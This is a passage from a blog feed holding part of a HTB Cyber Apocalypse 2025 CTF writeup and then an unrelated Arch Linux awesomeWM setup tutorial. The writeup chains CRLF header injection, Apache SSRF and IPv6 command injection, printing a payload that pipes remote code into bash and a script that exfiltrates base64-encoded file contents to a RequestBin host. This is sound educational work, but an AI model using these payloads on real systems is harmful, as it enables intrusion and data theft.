    <span class="p">(</span><span class="mi">10</span><span class="p">,</span> <span class="sh">"</span><span class="s"> are</span><span class="sh">"</span><span class="p">),</span>
    <span class="p">(</span><span class="mi">8</span><span class="p">,</span> <span class="sh">"</span><span class="s">uncil</span><span class="sh">"</span><span class="p">),</span>
    <span class="p">(</span><span class="mi">7</span><span class="p">,</span> <span class="sh">"</span><span class="s">eady be</span><span class="sh">"</span><span class="p">),</span>
    <span class="p">(</span><span class="mi">8</span><span class="p">,</span> <span class="sh">"</span><span class="s">ies</span><span class="sh">"</span><span class="p">),</span>
    <span class="p">(</span><span class="mi">12</span><span class="p">,</span> <span class="sh">"</span><span class="s">in</span><span class="sh">"</span><span class="p">),</span>
    <span class="p">(</span><span class="mi">3</span><span class="p">,</span> <span class="sh">"</span><span class="s">hannel</span><span class="sh">"</span><span class="p">),</span>
    <span class="p">(</span><span class="mi">5</span><span class="p">,</span> <span class="sh">"</span><span class="s">work</span><span class="sh">"</span><span class="p">),</span>
    <span class="p">(</span><span class="mi">4</span><span class="p">,</span> <span class="sh">"</span><span class="s">gainst us</span><span class="sh">"</span><span class="p">),</span>
    <span class="p">(</span><span class="mi">10</span><span class="p">,</span> <span class="sh">"</span><span class="s">n of </span><span class="sh">"</span><span class="p">),</span>
    <span class="p">(</span><span class="mi">11</span><span class="p">,</span> <span class="sh">"</span><span class="s">ct soon</span><span class="sh">"</span><span class="p">),</span>
    <span class="p">(</span><span class="mi">7</span><span class="p">,</span> <span class="sh">"</span><span class="s">take could </span><span class="sh">"</span><span class="p">),</span>
    <span class="p">(</span><span class="mi">5</span><span class="p">,</span> <span class="sh">"</span><span class="s">to </span><span class="sh">"</span><span class="p">),</span>
    <span class="p">(</span><span class="mi">7</span><span class="p">,</span> <span class="sh">"</span><span class="s">m our </span><span class="sh">"</span><span class="p">),</span>
    <span class="p">(</span><span class="mi">11</span><span class="p">,</span> <span class="sh">"</span><span class="s">f opportunity closes.</span><span class="sh">"</span><span class="p">),</span>
    <span class="p">(</span><span class="mi">8</span><span class="p">,</span> <span class="sh">"</span><span class="s">ve a </span><span class="sh">"</span><span class="p">),</span>
    <span class="p">(</span><span class="mi">4</span><span class="p">,</span> <span class="sh">"</span><span class="s">s.</span><span class="sh">"</span><span class="p">),</span>
    <span class="p">(</span><span class="mi">6</span><span class="p">,</span> <span class="sh">"</span><span class="s">blem.</span><span class="sh">"</span><span class="p">),</span>
<span class="p">]</span>
<span class="k">for</span> <span class="n">cypher_index</span><span class="p">,</span> <span class="n">plain</span> <span class="ow">in</span> <span class="n">texts</span><span class="p">:</span>
    <span class="n">C</span> <span class="o">=</span> <span class="nb">bytes</span><span class="p">.</span><span class="nf">fromhex</span><span class="p">(</span><span class="n">msgs</span><span class="p">[</span><span class="n">cypher_index</span><span class="p">])</span>
    <span class="n">C</span> <span class="o">=</span> <span class="n">C</span><span class="p">[</span><span class="nf">len</span><span class="p">(</span><span class="n">X</span><span class="p">):]</span>
    <span class="n">M</span> <span class="o">=</span> <span class="n">plain</span><span class="p">.</span><span class="nf">encode</span><span class="p">()</span>
    <span class="n">X</span> <span class="o">+=</span> <span class="nf">xor</span><span class="p">(</span><span class="n">M</span><span class="p">,</span> <span class="n">C</span><span class="p">)</span>

<span class="k">for</span> <span class="n">i</span><span class="p">,</span> <span class="n">msg</span> <span class="ow">in</span> <span class="nf">enumerate</span><span class="p">(</span><span class="n">msgs</span><span class="p">):</span>
    <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">decrypt[</span><span class="si">{</span><span class="n">i</span><span class="si">}</span><span class="s">]:</span><span class="sh">"</span><span class="p">,</span> <span class="nf">xor</span><span class="p">(</span><span class="n">X</span><span class="p">,</span> <span class="nb">bytes</span><span class="p">.</span><span class="nf">fromhex</span><span class="p">(</span><span class="n">msg</span><span class="p">)))</span>
</code></pre></div></div>

<p>After some more time iterating on this, we finally find the flag:</p>
<figure class=""><a href="/assets/images/htb-cyber-apocalypse-2025/traces-solve.png" class="image-popup"><img src="/assets/images/htb-cyber-apocalypse-2025/traces-solve.png" alt="everything decrypted" /></a></figure>

<h2 id="web---cyber-attack">Web - Cyber Attack</h2>

<blockquote>
  <p>Welcome, Brave Hero of Eldoria.
You’ve entered a domain controlled by the forces of Malakar, the Dark Ruler of Eldoria.
This is no place for the faint of heart.
Proceed with caution: The systems here are heavily guarded, and one misstep could alert Malakar’s sentinels.
But if you’re brave - or foolish - enough to exploit these defenses, you might just find a way to weaken his hold on this world.
Choose your path carefully: Your actions here could bring hope to Eldoria… or doom us all.
The shadows are watching.
Make your move.</p>
</blockquote>

<p>We’re now given an instance of a server running on a certain IP+port, along with the full source code needed to reproduce it on a local docker environment.</p>

<h3 id="web-recon">Web Recon</h3>

<p>With some basic reconnaissance, we verify that the port is serving HTTP, and apparently using Apache 2.4.54 and PHP 7.4.33 to do so:</p>
<figure class=""><a href="/assets/images/htb-cyber-apocalypse-2025/cyber-attack-enum.png" class="image-popup"><img src="/assets/images/htb-cyber-apocalypse-2025/cyber-attack-enum.png" alt="basic web recon" /></a></figure>

<p>The HTLM itself is a simple web form which can submit domains or IPs to a “cyber attack server” (in this case, the “attack” consists of a <code class="language-plaintext highlighter-rouge">ping -c 1 &lt;TARGET&gt;</code>).</p>
<figure class=""><a href="/assets/images/htb-cyber-apocalypse-2025/cyber-attack-web.png" class="image-popup"><img src="/assets/images/htb-cyber-apocalypse-2025/cyber-attack-web.png" alt="attacking google.com" /></a></figure>

<p>The IP-based attack is only enabled if we’re launching the attack from the server’s local network.
Looking at the page source, we can see that some part of this validation is done client-side, and we can simply edit the HTML to enable the IP attack button.
We still get a 403 Forbidden if we try to submit to that endpoint, so it’s being blocked server side as well.</p>
<figure class=""><a href="/assets/images/htb-cyber-apocalypse-2025/cyber-attack-forbidden.png" class="image-popup"><img src="/assets/images/htb-cyber-apocalypse-2025/cyber-attack-forbidden.png" alt="forbidden endpoint" /></a></figure>

<h3 id="source-analysis">Source Analysis</h3>

<p>Looking at the source code now, we can see that it is indeed an Apache HTTP server, with one <a href="https://en.wikipedia.org/wiki/Common_Gateway_Interface">CGI script</a> in PHP and other two implemented in Python.
Every important piece of code is shown in the screenshot below:</p>
<figure class=""><a href="/assets/images/htb-cyber-apocalypse-2025/cyber-attack-source.png" class="image-popup"><img src="/assets/images/htb-cyber-apocalypse-2025/cyber-attack-source.png" alt="server source code" /></a></figure>

<p>Let’s point out a few things:</p>
<ul>
  <li>We know that the flag will be stored in <code class="language-plaintext highlighter-rouge">/flag-&lt;random-string&gt;.txt</code></li>
  <li>In the Apache config, we verify that the <code class="language-plaintext highlighter-rouge">/cgi-bin/attack-ip</code> endpoint is restricted and only accessible from localhost IPs</li>
  <li>In both python CGI scripts, we see a system command being executed with a request-provided input interpolated as the <code class="language-plaintext highlighter-rouge">target</code> argument to <code class="language-plaintext highlighter-rouge">ping</code>; this should immediately jump out as an opportunity for RCE</li>
  <li>Input validation in <code class="language-plaintext highlighter-rouge">attack-domain</code> is done with a regex, whereas in <code class="language-plaintext highlighter-rouge">attack-ip</code> it suffices that <code class="language-plaintext highlighter-rouge">ip_address(target)</code> not throw an exception</li>
  <li>In both cases, the <code class="language-plaintext highlighter-rouge">name</code> parameter is not sanitized, and is put back in the <code class="language-plaintext highlighter-rouge">Location</code> header when <code class="language-plaintext highlighter-rouge">target</code> fails validation</li>
</ul>

<h3 id="command-injection">Command Injection</h3>

<p>The regex in <code class="language-plaintext highlighter-rouge">attack-domain</code> is quite restrictive and I dont’t see a way to exploit it for command injection.
Fortunately, after looking at <a href="https://github.com/python/cpython/blob/3.13/Lib/ipaddress.py">the source code for <code class="language-plaintext highlighter-rouge">ipaddress.ip_address()</code></a>, I found out that its IPv6 parsing can be quite permissive because it implements <a href="https://www.rfc-editor.org/rfc/rfc4007">RFC 4007</a> “scoped addresses”.
Here’s a few tests:</p>
<figure class=""><a href="/assets/images/htb-cyber-apocalypse-2025/cyber-attack-ipaddress.png" class="image-popup"><img src="/assets/images/htb-cyber-apocalypse-2025/cyber-attack-ipaddress.png" alt="experimenting with ipaddress IPv6 parsing" /></a></figure>

<p>Essentially: any valid unscoped IPv6 address can have a suffix <code class="language-plaintext highlighter-rouge">%&lt;ZONE&gt;</code>, where <code class="language-plaintext highlighter-rouge">&lt;ZONE&gt;</code> can be any string, as long as it does not contain forward slashes.
We now know that, if we ever manage to call the <code class="language-plaintext highlighter-rouge">/cgi-bin/attack-ip</code> endpoint, we can exploit this to achieve RCE.</p>

<h3 id="crlf-and-header-injection">CRLF and Header Injection</h3>

<p>Looking back at <code class="language-plaintext highlighter-rouge">attack-domain</code>, I started playing with the <code class="language-plaintext highlighter-rouge">name</code> parameter and eventually found out that it could be used to inject arbitrary HTTP headers in the response if it contained sequences of CRLF bytes.
In the screenshot below, I validate this by injecting <code class="language-plaintext highlighter-rouge">X-Injected-Header</code> and seeing it come back in the reply.</p>
<figure class=""><a href="/assets/images/htb-cyber-apocalypse-2025/cyber-attack-header.png" class="image-popup"><img src="/assets/images/htb-cyber-apocalypse-2025/cyber-attack-header.png" alt="header injection" /></a></figure>

<h3 id="confusion-attacks">Confusion Attacks</h3>

<p>At this point, I was stuck.
I knew how to exploit <code class="language-plaintext highlighter-rouge">attack-ip</code> for RCE, but was denied access to it.
In <code class="language-plaintext highlighter-rouge">attack-domain</code>, we had a header injection exploit working, but nothing else.</p>

<p>Fortunately, after some googling I eventually found Orange Tsai’s Black Hat 2024 presentation, as well as his blog post / writeup, on <a href="https://blog.orange.tw/posts/2024-08-confusion-attacks-en/">“Confusion Attacks: Exploiting Hidden Semantic Ambiguity in Apache HTTP Server!”</a>.
His research shows (among other things) that an attacker who can inject arbitrary headers in an Apache HTTP response can achieve generalized SSRF (Server-Side Request Forgery).</p>
<figure class=""><a href="/assets/images/htb-cyber-apocalypse-2025/cyber-attack-confusion.png" class="image-popup"><img src="/assets/images/htb-cyber-apocalypse-2025/cyber-attack-confusion.png" alt="screenshot from Orange Tsai presentation" /></a></figure>

<h3 id="ssrf-attack">SSRF Attack</h3>

<p>We copied the example from his slides and checked that SSRF was working (albeit only for HTTP targets).
In the screenshot below, we can see that we’ve tricked the server into accessing <code class="language-plaintext highlighter-rouge">http://example.com/</code> and serving that page in its response.</p>
<figure class=""><a href="/assets/images/htb-cyber-apocalypse-2025/cyber-attack-ssrf.png" class="image-popup"><img src="/assets/images/htb-cyber-apocalypse-2025/cyber-attack-ssrf.png" alt="validating SSRF exploit" /></a></figure>

<p>Using this exploit, we use the remote server to trigger <code class="language-plaintext highlighter-rouge">/cgi-bin/attack-ip</code>.
Since the proxy is in the same machine, it gets right through the restriction configured for that endpoint.</p>
<figure class=""><a href="/assets/images/htb-cyber-apocalypse-2025/cyber-attack-bypass.png" class="image-popup"><img src="/assets/images/htb-cyber-apocalypse-2025/cyber-attack-bypass.png" alt="reaching the vulnerable endpoint" /></a></figure>

<h3 id="rce-and-exfiltration">RCE and Exfiltration</h3>

<p>After messing around with url-encoding, we’re finally able to execute commands in the server, sending payloads such as <code class="language-plaintext highlighter-rouge">::1%$(whoami)</code> or <code class="language-plaintext highlighter-rouge">::1%$(ls)</code> in the <code class="language-plaintext highlighter-rouge">target</code> parameter of the <code class="language-plaintext highlighter-rouge">/cgi-bin/attack-ip</code> endpoint.
Still, getting the flag required some level of trickyness, since we can’t execute any commands containing <code class="language-plaintext highlighter-rouge">/</code>.
Furthermore, we also have no way to see the output of our commands.</p>

<p>My solution to this involved hosting a script in the <code class="language-plaintext highlighter-rouge">index.html</code> page of a custom domain I have.
With that resource being served by default on HTTP requests to <code class="language-plaintext highlighter-rouge">/</code>, and this empty path being an optional part of an URL, my final payload was <code class="language-plaintext highlighter-rouge">::1%$(curl+tmp.baioc.dev|bash)</code>.
(NB: in Apache/PHP, the <code class="language-plaintext highlighter-rouge">+</code> character gets url-decoded to a space character).</p>

<p>Meanwhile, here’s what I hosted in <code class="language-plaintext highlighter-rouge">tmp.baioc.dev/index.html</code>:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">#!/bin/bash</span>
curl <span class="s2">"http://requestbin.whapi.cloud/v5c55ev5?flag=</span><span class="si">$(</span><span class="nb">cat</span> /flag<span class="k">*</span> | <span class="nb">base64</span><span class="si">)</span><span class="s2">"</span>
</code></pre></div></div>

<p>This is reading the flag, base64-encoding it and exfiltrating the result via a request parameter to a temporary <a href="https://requestbin.whapi.cloud/">RequestBin</a>.
The screenshot below shows the fully encoded <code class="language-plaintext highlighter-rouge">curl</code> command used to trigger the remote script.</p>
<figure class=""><a href="/assets/images/htb-cyber-apocalypse-2025/cyber-attack-rce.png" class="image-popup"><img src="/assets/images/htb-cyber-apocalypse-2025/cyber-attack-rce.png" alt="exploiting command injection to get RCE" /></a></figure>

<p>And then, looking at the logs for that RequestBin, we see the base64-encoded flag arriving:</p>
<figure class=""><a href="/assets/images/htb-cyber-apocalypse-2025/cyber-attack-exfiltration.png" class="image-popup"><img src="/assets/images/htb-cyber-apocalypse-2025/cyber-attack-exfiltration.png" alt="flag exfiltrated successfully" /></a></figure>]]></content><author><name>Gabriel B. Sant&apos;Anna</name></author><category term="writeup" /><category term="cybersecurity" /><summary type="html"><![CDATA[Writeups for 3 challenges, each in a different category]]></summary></entry><entry><title type="html">How to set up an X-based desktop from scratch</title><link href="https://www.baioc.dev/tutorial/arch-awesomewm/" rel="alternate" type="text/html" title="How to set up an X-based desktop from scratch" /><published>2024-07-27T00:00:00+00:00</published><updated>2024-07-27T00:00:00+00:00</updated><id>https://www.baioc.dev/tutorial/arch-awesomewm</id><content type="html" xml:base="https://www.baioc.dev/tutorial/arch-awesomewm/"><![CDATA[<p>In the final post of this dual-boot series, I’ll show how to go from a base Arch install:</p>

<figure class=""><a href="/assets/images/dual-boot/arch-base.png" class="image-popup" title="Base Arch tty, after booting for the first time - at least all peripherals (monitor, keyboard, mouse) were working out of the box.
"><img src="/assets/images/dual-boot/arch-base.png" alt="arch-base" /></a><figcaption>
      Base Arch tty, after booting for the first time - at least all peripherals (monitor, keyboard, mouse) were working out of the box.

    </figcaption></figure>

<p>To a simple <a href="https://awesomewm.org/">awesomeWM</a> desktop environment:</p>

<figure class=""><a href="/assets/images/dual-boot/arch-rice.png" class="image-popup" title="This is a screenshot of my personal install. We’ll be going in this direction.
"><img src="/assets/images/dual-boot/arch-rice.png" alt="arch-rice" /></a><figcaption>
      This is a screenshot of my personal install. We’ll be going in this direction.

    </figcaption></figure>

<h2 id="0-manual-btrfs-snapshot">0. Manual btrfs snapshot</h2>

<p>Btrfs’s snapshot capability is one of the reasons I chose this file system, so before anything else I’ll use that to make a backup of the entire root partition.
While I’ll create the snapshot manually this time, later in this tutorial I’m going to show how to set up automatic backups.</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>mount <span class="nt">-o</span> <span class="nv">subvolid</span><span class="o">=</span>5 /dev/mapper/arch-root /mnt
<span class="nv">$ </span>btrfs subvolume snapshot /mnt/@ /mnt/@snapshot-baseline
<span class="nv">$ </span>umount /mnt
</code></pre></div></div>

<p>That’s all it takes, and you’ll notice it’s also instant thanks to btrfs copy-on-write.</p>

<figure class=""><a href="/assets/images/dual-boot/arch-btrfs-snapshot.png" class="image-popup" title="After creating the snapshot, we can also mount it and check its contents.
"><img src="/assets/images/dual-boot/arch-btrfs-snapshot.png" alt="arch-btrfs-snapshot" /></a><figcaption>
      After creating the snapshot, we can also mount it and check its contents.

    </figcaption></figure>

<h2 id="1-network-and-time">1. Network and time</h2>

<p>During installation, I made sure that the <a href="https://wiki.archlinux.org/title/NetworkManager"><code class="language-plaintext highlighter-rouge">NetworkManager</code></a> systemd service would auto-start.
In case you forgot to do that before, this is a good time to run:</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>systemctl <span class="nb">enable </span>NetworkManager
<span class="nv">$ </span>systemctl start NetworkManager
</code></pre></div></div>

<p>I also like to always resolve <code class="language-plaintext highlighter-rouge">localhost</code> to … well … the local host.
So I make sure that my <code class="language-plaintext highlighter-rouge">/etc/hosts</code> file contains the following entries:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>127.0.0.1        localhost
::1              localhost
</code></pre></div></div>

<p>Since I also want my system time to be correct, I’ll also enable the built-in NTP service:</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>timedatectl set-ntp <span class="nb">true</span>
</code></pre></div></div>

<figure class=""><a href="/assets/images/dual-boot/arch-network.png" class="image-popup"><img src="/assets/images/dual-boot/arch-network.png" alt="arch-network" /></a></figure>

<h2 id="2-firewall">2. Firewall</h2>

<p>The first thing to do after connecting to the internet is setting up protection - a firewall, in this case.
I like <a href="https://wiki.archlinux.org/title/Uncomplicated_Firewall">ufw</a>, which is pretty easy to install and enable by default:</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>pacman <span class="nt">-S</span> ufw
<span class="nv">$ </span>systemctl <span class="nb">enable </span>ufw
<span class="nv">$ </span>systemctl start ufw
<span class="nv">$ </span>ufw <span class="nb">enable</span>
<span class="nv">$ </span>ufw status verbose
Status: active
Logging: on <span class="o">(</span>low<span class="o">)</span>
Default: deny <span class="o">(</span>incoming<span class="o">)</span>, allow <span class="o">(</span>outgoing<span class="o">)</span>, deny <span class="o">(</span>routed<span class="o">)</span>
New profiles: skip
</code></pre></div></div>

<p>The default configuration is already the best option for most desktop users: deny all incoming traffic (connections initiated in the network) and allow all outgoing traffic.</p>

<p>Personally, I also like to use <a href="https://github.com/evilsocket/opensnitch">OpenSnitch</a> to block all outgoing traffic by default, then handpick exceptions based on program, protocol and target address &amp; port.
I know this is too much of a nuisance for most people, so I’ll leave this out of the tutorial.</p>

<h2 id="3-non-root-user">3. Non-root user</h2>

<p>Even if I’m the only person using this system, it’s more secure to do it from a non-root user by default.
The following commands create a user called <code class="language-plaintext highlighter-rouge">user</code> with their own home directory, sets a password, then installs <code class="language-plaintext highlighter-rouge">zsh</code> and sets that as <code class="language-plaintext highlighter-rouge">user</code>’s default shell.</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>useradd <span class="nt">--create-home</span> user
<span class="nv">$ </span>passwd user
<span class="nv">$ </span>pacman <span class="nt">-S</span> zsh
<span class="nv">$ </span>chsh <span class="nt">-s</span> /usr/bin/zsh user
</code></pre></div></div>

<p>Then, in order to be able to perform administrative actions through <code class="language-plaintext highlighter-rouge">sudo</code> or Polkit, I’ll add <code class="language-plaintext highlighter-rouge">user</code> to the <code class="language-plaintext highlighter-rouge">wheel</code> group:</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>usermod <span class="nt">-aG</span> wheel user
</code></pre></div></div>

<p>And also update the sudoers file with <code class="language-plaintext highlighter-rouge">EDITOR=nano visudo</code>, making sure to uncomment the line that reads:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>%wheel ALL=(ALL:ALL) ALL
</code></pre></div></div>

<figure class=""><a href="/assets/images/dual-boot/arch-security.png" class="image-popup" title="Using a non-privileged user by default is a security control, just like setting up a local firewall.
"><img src="/assets/images/dual-boot/arch-security.png" alt="arch-security" /></a><figcaption>
      Using a non-privileged user by default is a security control, just like setting up a local firewall.

    </figcaption></figure>

<p>You can now exit the current shell and log back in as the new user.
If you changed the default shell to <code class="language-plaintext highlighter-rouge">zsh</code>, you may also be prompted to do some initial configuration.</p>

<h2 id="4-x-initialization">4. X initialization</h2>

<p>We’re going to use X.Org as our window system, with awesome as a window manager.
Furthermore, in order to access the shell from an X(11) session, we’ll also need to install a terminal emulator.
We can get started by installing the necessary packages:</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">sudo </span>pacman <span class="nt">-S</span> xorg-server xorg-xinit awesome alacritty
</code></pre></div></div>

<p>I want the Xorg server to start whenever I log in as <code class="language-plaintext highlighter-rouge">user</code> from the default <code class="language-plaintext highlighter-rouge">tty1</code>.
Implementing this is as simple as configuring the <code class="language-plaintext highlighter-rouge">zsh</code> login shell (<code class="language-plaintext highlighter-rouge">~/.zprofile</code>) to run <a href="https://wiki.archlinux.org/title/Xinit"><code class="language-plaintext highlighter-rouge">startx</code></a>:</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># /home/user/.zprofile</span>
<span class="k">if</span> <span class="o">[</span> <span class="nt">-z</span> <span class="s2">"</span><span class="nv">$DISPLAY</span><span class="s2">"</span> <span class="o">]</span> <span class="o">&amp;&amp;</span> <span class="o">[</span> <span class="s2">"</span><span class="nv">$XDG_VTNR</span><span class="s2">"</span> <span class="nt">-le</span> 1 <span class="o">]</span><span class="p">;</span> <span class="k">then
    </span><span class="nb">exec </span>startx
<span class="k">fi</span>
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">startx</code> program will then run the <code class="language-plaintext highlighter-rouge">~/.xinitrc</code> script to start up client programs, including our window manager of choice.
We just need to copy the default script to the user’s home folder, remove the last few lines running programs we don’t have, and append <code class="language-plaintext highlighter-rouge">exec awesome</code>:</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">cp</span> /etc/X11/xinit/xinitrc ~/.xinitrc
<span class="nv">$ </span>nano ~/.xinitrc

<span class="nv">$ </span><span class="nb">cat</span> ~/.xinitrc
<span class="c">#!/bin/sh</span>

<span class="c"># merge in defaults and keymaps</span>

<span class="nv">userresources</span><span class="o">=</span><span class="nv">$HOME</span>/.Xresources
<span class="nv">usermodmap</span><span class="o">=</span><span class="nv">$HOME</span>/.Xmodmap
<span class="nv">sysresources</span><span class="o">=</span>/etc/X11/xinit/.Xresources
<span class="nv">sysmodmap</span><span class="o">=</span>/etc/X11/xinit/.Xmodmap

<span class="k">if</span> <span class="o">[</span> <span class="nt">-f</span> <span class="nv">$sysresources</span> <span class="o">]</span><span class="p">;</span> <span class="k">then
    </span>xrdb <span class="nt">-merge</span> <span class="nv">$sysresources</span>
<span class="k">fi

if</span> <span class="o">[</span> <span class="nt">-f</span> <span class="nv">$sysmodmap</span> <span class="o">]</span><span class="p">;</span> <span class="k">then
    </span>xmodmap <span class="nv">$sysmodmap</span>
<span class="k">fi

if</span> <span class="o">[</span> <span class="nt">-f</span> <span class="s2">"</span><span class="nv">$userresources</span><span class="s2">"</span> <span class="o">]</span><span class="p">;</span> <span class="k">then
    </span>xrdb <span class="nt">-merge</span> <span class="s2">"</span><span class="nv">$userresources</span><span class="s2">"</span>
<span class="k">fi

if</span> <span class="o">[</span> <span class="nt">-f</span> <span class="s2">"</span><span class="nv">$usermodmap</span><span class="s2">"</span> <span class="o">]</span><span class="p">;</span> <span class="k">then
    </span>xmodmap <span class="s2">"</span><span class="nv">$usermodmap</span><span class="s2">"</span>
<span class="k">fi</span>

<span class="c"># start some nice programs</span>

<span class="k">if</span> <span class="o">[</span> <span class="nt">-d</span> /etc/X11/xinit/xinitrc.d <span class="o">]</span> <span class="p">;</span> <span class="k">then
 for </span>f <span class="k">in</span> /etc/X11/xinit/xinitrc.d/?<span class="k">*</span>.sh <span class="p">;</span> <span class="k">do</span>
  <span class="o">[</span> <span class="nt">-x</span> <span class="s2">"</span><span class="nv">$f</span><span class="s2">"</span> <span class="o">]</span> <span class="o">&amp;&amp;</span> <span class="nb">.</span> <span class="s2">"</span><span class="nv">$f</span><span class="s2">"</span>
 <span class="k">done
 </span><span class="nb">unset </span>f
<span class="k">fi

</span><span class="nb">exec </span>awesome
</code></pre></div></div>

<p>Since I’m the only one who’ll be using this system, I’ll also enable <a href="https://wiki.archlinux.org/title/Getty#Automatic_login_to_virtual_console">auto-login</a> - this means I’ll only have to type in the disk decryption password before getting to my desktop.</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">sudo mkdir</span> <span class="nt">-p</span> /etc/systemd/system/getty@tty1.service.d
<span class="nv">$ </span><span class="nb">sudo </span>nano /etc/systemd/system/getty@tty1.service.d/autologin.conf

<span class="nv">$ </span><span class="nb">cat</span> /etc/systemd/system/getty@tty1.service.d/autologin.conf
<span class="o">[</span>Service]
<span class="nv">Type</span><span class="o">=</span>simple
<span class="nv">ExecStart</span><span class="o">=</span>
<span class="nv">ExecStart</span><span class="o">=</span>-/sbin/agetty <span class="nt">-o</span> <span class="s1">'-p -f -- \\u'</span> <span class="nt">--noclear</span> <span class="nt">--autologin</span> user %I <span class="nv">$TERM</span>
<span class="nv">Environment</span><span class="o">=</span><span class="nv">XDG_SESSION_TYPE</span><span class="o">=</span>x11
</code></pre></div></div>

<p>That’s it!
We can now reboot and drop into a barebones graphical desktop:</p>

<figure class=""><a href="/assets/images/dual-boot/arch-awesome.png" class="image-popup" title="A fresh install of awesomeWM. I have to say, getting to this point was easier than I thought it would be.
"><img src="/assets/images/dual-boot/arch-awesome.png" alt="arch-awesome" /></a><figcaption>
      A fresh install of awesomeWM. I have to say, getting to this point was easier than I thought it would be.

    </figcaption></figure>

<h2 id="5-awesomewm-configuration">5. awesomeWM configuration</h2>

<p>One of the first things you may notice if you’re following this tutorial is that the “open terminal” buttons and shortcuts are not working.
That’s because, by default, awesome is configured to use <code class="language-plaintext highlighter-rouge">xterm</code>, whereas we installed Alacritty.
You can still open Alacritty “manually”, either by typing <code class="language-plaintext highlighter-rouge">alacritty</code> in the command prompt (<code class="language-plaintext highlighter-rouge">Super + R</code>) or choosing it in the built-in application menu (<code class="language-plaintext highlighter-rouge">Super + P</code>).</p>

<p>After getting to a terminal, I suggest overriding the default configuration:</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">mkdir</span> <span class="nt">-p</span> ~/.config/awesome/
<span class="nv">$ </span><span class="nb">cp</span> /etc/xdg/awesome/rc.lua ~/.config/awesome/
<span class="nv">$ </span>nano ~/.config/awesome/rc.lua
</code></pre></div></div>

<p>Make sure to change the line that reads <code class="language-plaintext highlighter-rouge">terminal = "xterm"</code> to <code class="language-plaintext highlighter-rouge">terminal = "alacritty"</code>.
In order to apply any changes, we need to reload awesome (<code class="language-plaintext highlighter-rouge">Super + Ctrl + R</code>).
We should now be able to open our terminal of choice with <code class="language-plaintext highlighter-rouge">Super + Enter</code>.</p>

<p>After that, I suggest taking a look at <a href="https://awesomewm.org/recipes/">some awesomeWM configuration recipes</a> in order to understand how to configure it, edit keybindings to your liking or add useful widgets.
Note that, at this point, you can use <code class="language-plaintext highlighter-rouge">pacman</code> to install your web browser of choice and use that to read the documentation directly from your just-configured graphical system.</p>

<p>For example, one of the first things I did was adding a blurry screen lock script:</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">#!/bin/sh</span>

<span class="nb">set</span> <span class="nt">-e</span>

<span class="nv">screenshot</span><span class="o">=</span><span class="si">$(</span><span class="nb">mktemp</span> /tmp/lock-screen-scrot-XXXXXXXXXX<span class="si">)</span>
scrot <span class="nt">--overwrite</span> <span class="nt">--format</span> png <span class="nt">-F</span> <span class="s2">"</span><span class="nv">$screenshot</span><span class="s2">"</span>
magick <span class="s2">"</span><span class="nv">$screenshot</span><span class="s2">"</span> <span class="nt">-blur</span> 0x8 <span class="s2">"</span><span class="k">${</span><span class="nv">screenshot</span><span class="k">}</span><span class="s2">-blur.png"</span>
i3lock <span class="nt">--image</span><span class="o">=</span><span class="s2">"</span><span class="k">${</span><span class="nv">screenshot</span><span class="k">}</span><span class="s2">-blur.png"</span> <span class="nt">--pointer</span><span class="o">=</span>default <span class="nt">--ignore-empty-password</span> <span class="s2">"</span><span class="nv">$@</span><span class="s2">"</span>
</code></pre></div></div>

<p>After saving this to a file called <code class="language-plaintext highlighter-rouge">lock-screen</code>, we need to:</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">sudo </span>pacman <span class="nt">-S</span> i3lock scrot imagemagick               <span class="c"># install programs used in the script</span>
<span class="nv">$ </span><span class="nb">chmod</span> +x lock-screen                                  <span class="c"># make the script executable</span>
<span class="nv">$ </span><span class="nb">mkdir</span> <span class="nt">-p</span> ~/.local/bin                                 <span class="c"># create a ~/.local/bin/ folder</span>
<span class="nv">$ </span><span class="nb">echo</span> <span class="s1">'export PATH=$PATH:$HOME/.local/bin'</span> <span class="o">&gt;&gt;</span> .zshenv  <span class="c"># append it to our user's PATH</span>
<span class="nv">$ </span><span class="nb">mv </span>lock-screen ~/.local/bin/                          <span class="c"># put the lock screen script there</span>
</code></pre></div></div>

<p>Then, in order to launch it with <code class="language-plaintext highlighter-rouge">Super + L</code>, add the following snippet to the global keys section of <code class="language-plaintext highlighter-rouge">~/.config/awesome/rc.lua</code>.
After restarting awesome, the new shortcut will also show up in the hotkeys help popup (<code class="language-plaintext highlighter-rouge">Super + S</code>), and will blur &amp; lock the screen when activated.</p>

<div class="language-lua highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">awful</span><span class="p">.</span><span class="n">key</span><span class="p">(</span>
    <span class="p">{</span> <span class="n">modkey</span><span class="p">,</span> <span class="p">},</span> <span class="s2">"l"</span><span class="p">,</span>
    <span class="k">function</span><span class="p">()</span> <span class="n">awful</span><span class="p">.</span><span class="n">spawn</span><span class="p">(</span><span class="s2">"lock-screen"</span><span class="p">)</span> <span class="k">end</span><span class="p">,</span>
